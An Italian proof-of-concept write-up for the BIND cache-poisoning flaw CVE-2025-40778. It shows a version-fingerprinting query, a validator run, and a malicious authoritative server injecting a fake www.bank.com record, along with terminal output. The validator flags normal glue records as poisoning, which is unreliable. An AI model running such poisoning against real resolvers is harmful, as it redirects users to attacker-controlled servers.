
Proof-of-concept che dimostra l'avvelenamento della cache DNS tramite iniezione di record aggiuntivi in BIND 9, con strumenti per validare e sfruttare CVE-2025-40778 per test di sicurezza autorizzati.
Dimostrazione educativa della vulnerabilità di avvelenamento della cache DNS tramite iniezione di record aggiuntivi.
SOLO PER SCOPI EDUCATIVI
Questo strumento è fornito esclusivamente per scopi educativi e per test di sicurezza autorizzati. L'uso non autorizzato di questo strumento contro sistemi che non possiedi o per i quali non hai esplicito permesso di testare è illegale e non etico.
L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo strumento.
Questa PoC dimostra come un server DNS autoritativo compromesso possa iniettare record avvelenati nelle risposte DNS, potenzialmente reindirizzando gli utenti verso server malevoli senza che questi se ne accorgano.
Vettore di attacco:
Possibili scenari:
👤 Autore e Contatti
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
Questo strumento rileva se è possibile sfruttare la vulnerabilità CVE-2025-40778
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
Descrizione: In questo passaggio, avvii il server DNS autoritativo malevolo che simula un nameserver compromesso. Il server rimane in ascolto su un IP e una porta specifici (127.0.0.2:5301), pronto a iniettare record DNS avvelenati nelle risposte. Una volta configurato, risponderà alle query legittime per www.test.local con l'indirizzo IP corretto, ma inietterà simultaneamente un record malevolo per www.bank.com che punta a un IP controllato dall'attaccante. Questo comportamento a doppia risposta è il cuore dell'attacco di avvelenamento della cache: il resolver DNS vulnerabile memorizzerà nella cache sia la risposta legittima sia il record avvelenato, anche se è stato richiesto un solo dominio.
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
Descrizione: Qui esegui una query DNS standard attraverso il tuo resolver locale (BIND) per verificare che l'infrastruttura funzioni correttamente. La query per www.test.local dovrebbe restituire l'indirizzo IP legittimo (192.168.0.136) come previsto. A questo punto, la risposta appare normale all'utente finale: non c'è alcuna indicazione visibile del compromesso. Tuttavia, dietro le quinte, il resolver DNS vulnerabile ha già memorizzato nella cache entrambi i record: quello legittimo che hai richiesto E il record avvelenato per www.bank.com che è stato iniettato nella sezione aggiuntiva della risposta. Questo passaggio conferma che il tuo resolver DNS ha comunicato con successo con il server autoritativo malevolo e ha elaborato la sua risposta.
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87